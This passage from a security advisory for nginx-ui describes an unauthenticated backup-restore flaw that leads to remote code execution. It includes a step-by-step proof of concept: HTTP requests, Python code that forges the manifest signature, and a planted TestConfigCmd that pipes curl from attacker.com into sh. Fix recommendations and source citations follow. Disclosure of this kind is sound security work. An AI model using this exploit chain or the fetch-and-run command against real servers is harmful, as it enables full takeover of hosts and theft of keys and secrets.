CVE-2026-42238

When both are false, authIfInstalled calls ctx.Next() with zero authentication.

2.3 The EncryptedForm Middleware Is Not a Security Barrier

The EncryptedForm() middleware between authIfInstalled and RestoreBackup is optional — it only activates if the request includes an encrypted_params field. If that field is absent, it calls c.Next() immediately: 5

An attacker sends a plain multipart/form-data request without encrypted_params and the middleware is a no-op.

2.4 The Attacker Controls the AES Key Used to Verify the Backup

The restore handler accepts the AES key and IV directly from the attacker via the security_token form field: 6

The manifest integrity check derives its HMAC signing key from the attacker-supplied AES key: 7

Since the attacker crafts the backup and supplies the key, they can produce a valid HMAC signature for any manifest content they choose. The integrity check is self-referential and provides no security against a crafted backup.

2.5 Restore Overwrites app.ini and the SQLite Database Unconditionally

When restore_nginx_ui=true, restoreNginxUIConfig directly copies files from the backup onto disk with no content validation: 8

2.6 Restored TestConfigCmd Is Executed as a Shell Command

After restore, risefront.Restart() is called, reloading app.ini: 9

On the next call to TestConfig(), the value of TestConfigCmd from the restored app.ini is passed verbatim to /bin/sh -c: 10 11

3. Attack Prerequisites

| Requirement | Notes | |---|---| | Network access to nginx-ui port | Default: 9000/tcp | | Target is a fresh install | JwtSecret is empty in app.ini | | Within 10 minutes of last process start | Window resets on every restart | | IP not blocked by IPWhiteList | Default config has no IP whitelist |

The 10-minute window is not a meaningful mitigation in practice. Docker containers restart frequently due to health checks, upgrades, and orchestrator rescheduling. Any restart resets startupTime via init(), reopening the window.

4. Step-by-Step Proof of Concept

Step 1 — Confirm the installation window is open

GET /api/install HTTP/1.1
Host: target:9000

Expected response confirming vulnerability:

{"lock": false, "timeout": false}

Step 2 — Craft the malicious backup

The backup format (derived from internal/backup/backup.go) is:

backup-TIMESTAMP.zip          ← outer ZIP (unencrypted)
├── manifest.json             ← JSON manifest
├── manifest.sig              ← HMAC-SHA256 of manifest.json
├── nginx-ui.zip              ← AES-CBC encrypted inner ZIP
└── nginx.zip                 ← AES-CBC encrypted inner ZIP

2a. Generate a random 32-byte AES key and 16-byte IV.

2b. Create the malicious app.ini to place inside nginx-ui.zip:

[app]
JwtSecret = attacker_chosen_jwt_secret_32chars

[node]
Secret = attacker_chosen_node_secret

[nginx]
TestConfigCmd = curl http://attacker.com/shell.sh|sh

2c. Create a SQLite database (nginx-ui.db) with a known bcrypt hash for the admin user (optional — the node secret alone grants full API access).

2d. Package app.ini and nginx-ui.db into nginx-ui.zip. Package an empty or minimal nginx.zip.

2e. Encrypt both ZIPs with AES-256-CBC using your key and IV.

2f. Compute SHA-256 hashes and sizes of the encrypted ZIPs. Build manifest.json:

{
  "schema": 1,
  "created_at": "20260421-120000",
  "version": "2.0.0",
  "files": [
    {"name": "nginx-ui.zip", "sha256": "<hash>", "size": <size>},
    {"name": "nginx.zip",    "sha256": "<hash>", "size": <size>}
  ]
}

2g. Compute the HMAC-SHA256 signature of manifest.json using the signing key derived as:

import hashlib, hmac
context = b"nginx-ui-backup-signing-v1:"
signing_key = hashlib.sha256(context + aes_key).digest()
sig = hmac.new(signing_key, manifest_bytes, hashlib.sha256).hexdigest()

2h. Assemble the outer ZIP containing manifest.json, manifest.sig, nginx-ui.zip, nginx.zip.

Step 3 — Upload the malicious backup (no authentication required)

POST /api/restore HTTP/1.1
Host: target:9000
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="backup_file"; filename="evil.zip"
Content-Type: application/zip

[crafted backup bytes]
------Boundary
Content-Disposition: form-data; name="security_token"

<base64(aes_key)>:<base64(aes_iv)>
------Boundary
Content-Disposition: form-data; name="restore_nginx_ui"

true
------Boundary--

Expected response (HTTP 200):

{"nginx_ui_restored": true, "nginx_restored": false, "hash_match": true}

nginx-ui calls risefront.Restart() 2 seconds later, loading the attacker's app.ini.

Step 4 — Trigger RCE using the restored node secret

After the restart (wait ~3 seconds):

POST /api/nginx/test HTTP/1.1
Host: target:9000
X-Node-Secret: attacker_chosen_node_secret

nginx-ui executes:

/bin/sh -c "curl http://attacker.com/shell.sh|sh"

The attacker now has a reverse shell running as the nginx-ui process user (typically root in Docker).

5. Impact

• Confidentiality: Full read access to all nginx configurations, TLS private keys, database contents, and secrets stored in app.ini.
• Integrity: Arbitrary modification of all nginx configurations and nginx-ui application state.
• Availability: Complete denial of service; nginx and nginx-ui can be stopped or misconfigured.
• Scope: OS-level code execution. In Docker deployments (the primary distribution method), nginx-ui runs as root, giving the attacker full host access if the container has host mounts or privileged mode.

6. Affected Versions

All versions of nginx-ui where authIfInstalled is used as the sole authentication guard on POST /api/restore. The vulnerability is present in the current dev branch.

7. Recommended Fix

Primary fix — Require authentication unconditionally on the restore endpoint. The "allow restore during initial setup" design rationale does not justify unauthenticated access to a file-write primitive:

// api/backup/router.go
func InitRouter(r *gin.RouterGroup) {
    r.GET("/backup", middleware.AuthRequired(), CreateBackup)
    r.POST("/restore", middleware.AuthRequired(), middleware.EncryptedForm(), RestoreBackup)
}

If restore-during-setup is a required feature, it should be gated on a one-time setup token generated at startup and printed to the server console (similar to how Jenkins handles initial setup), not on a time window.

Secondary fix — Validate the content of restored app.ini before writing it to disk. Specifically, TestConfigCmd, ReloadCmd, and RestartCmd should be rejected or stripped from any externally-supplied backup.

8. Timeline

| Date | Event | |---|---| | 2026-04-21 | Vulnerability identified via source code review | | — | Vendor notification (pending) | | — | CVE assignment (pending) |

Citations

File: router/routers.go (L61-70)

	root := r.Group("/api", middleware.IPWhiteList())
	{
		public.InitRouter(root)
		crypto.InitPublicRouter(root)
		user.InitAuthRouter(root)
		license.InitRouter(root)

		system.InitPublicRouter(root)
		system.InitSelfCheckRouter(root)
		backup.InitRouter(root)

File: api/backup/router.go (L9-16)

// authIfInstalled requires auth if system is installed
func authIfInstalled(ctx *gin.Context) {
	if system.InstallLockStatus() || system.IsInstallTimeoutExceeded() {
		middleware.AuthRequired()(ctx)
	} else {
		ctx.Next()
	}
}

File: api/backup/router.go (L18-25)

func InitRouter(r *gin.RouterGroup) {
	// Backup always requires authentication (contains sensitive data)
	r.GET("/backup", middleware.AuthRequired(), CreateBackup)

	// Restore requires auth only after installation
	// This allows restoring backup during initial setup
	r.POST("/restore", authIfInstalled, middleware.EncryptedForm(), RestoreBackup)
}

File: api/system/install.go (L27-34)

func InstallLockStatus() bool {
	return settings.NodeSettings.SkipInstallation || cSettings.AppSettings.JwtSecret != ""
}

// IsInstallTimeoutExceeded checks if installation time limit (10 minutes) is exceeded
func IsInstallTimeoutExceeded() bool {
	return time.Since(startupTime) > 10*time.Minute
}

File: internal/middleware/encrypted_params.go (L69-75)

		// Check if encrypted_params field exists
		encryptedParams := c.Request.FormValue("encrypted_params")
		if encryptedParams == "" {
			// No encryption, continue normally
			c.Next()
			return
		}

File: api/backup/restore.go (L35-70)

	securityToken := c.PostForm("security_token") // Get concatenated key and IV
	// Get backup file
	backupFile, err := c.FormFile("backup_file")
	if err != nil {
		cosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrBackupFileNotFound, err.Error()))
		return
	}

	// Validate security token
	if securityToken == "" {
		cosy.ErrHandler(c, backup.ErrInvalidSecurityToken)
		return
	}

	// Split security token to get Key and IV
	parts := strings.Split(securityToken, ":")
	if len(parts) != 2 {
		cosy.ErrHandler(c, backup.ErrInvalidSecurityToken)
		return
	}

	aesKey := parts[0]
	aesIv := parts[1]

	// Decode Key and IV from base64
	key, err := base64.StdEncoding.DecodeString(aesKey)
	if err != nil {
		cosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrInvalidAESKey, err.Error()))
		return
	}

	iv, err := base64.StdEncoding.DecodeString(aesIv)
	if err != nil {
		cosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrInvalidAESIV, err.Error()))
		return
	}

File: api/backup/restore.go (L126-132)

	if restoreNginxUI {
		go func() {
			time.Sleep(2 * time.Second)
			// gracefully restart
			risefront.Restart()
		}()
	}

File: internal/backup/manifest.go (L156-163)

func deriveBackupSigningKeyFromAESKey(aesKey []byte) ([]byte, error) {
	if len(aesKey) == 0 {
		return nil, ErrInvalidAESKey
	}

	sum := sha256.Sum256(append([]byte(manifestKeyContext), aesKey...))
	return sum[:], nil
}

File: internal/backup/restore.go (L458-484)

// restoreNginxUIConfig restores nginx-ui configuration files
func restoreNginxUIConfig(nginxUIBackupDir string) error {
	// Get config directory
	configDir := filepath.Dir(cosysettings.ConfPath)
	if configDir == "" {
		return ErrConfigPathEmpty
	}

	// Restore app.ini to the configured location
	srcConfigPath := filepath.Join(nginxUIBackupDir, "app.ini")
	if err := copyFile(srcConfigPath, cosysettings.ConfPath); err != nil {
		return err
	}

	// Restore database file if exists
	dbName := settings.DatabaseSettings.GetName()
	srcDBPath := filepath.Join(nginxUIBackupDir, dbName+".db")
	destDBPath := filepath.Join(configDir, dbName+".db")

	// Only attempt to copy if database file exists in backup
	if _, err := os.Stat(srcDBPath); err == nil {
		if err := copyFile(srcDBPath, destDBPath); err != nil {
			return err
		}
	}

	return nil

File: internal/nginx/nginx.go (L25-36)

func TestConfig() (stdOut string, stdErr error) {
	mutex.Lock()
	defer mutex.Unlock()
	if settings.NginxSettings.TestConfigCmd != "" {
		return execShell(settings.NginxSettings.TestConfigCmd)
	}
	sbin := GetSbinPath()
	if sbin == "" {
		return execCommand("nginx", "-t")
	}
	return execCommand(sbin, "-t")
}

File: internal/nginx/exec.go (L12-28)

func execShell(cmd string) (stdOut string, stdErr error) {
	var execCmd *exec.Cmd

	if runtime.GOOS == "windows" {
		execCmd = exec.Command("cmd", "/c", cmd)
	} else {
		execCmd = exec.Command("/bin/sh", "-c", cmd)
	}

	execCmd.Dir = GetNginxExeDir()
	bytes, err := execCmd.CombinedOutput()
	stdOut = string(bytes)
	if err != nil {
		stdErr = err
	}
	return
}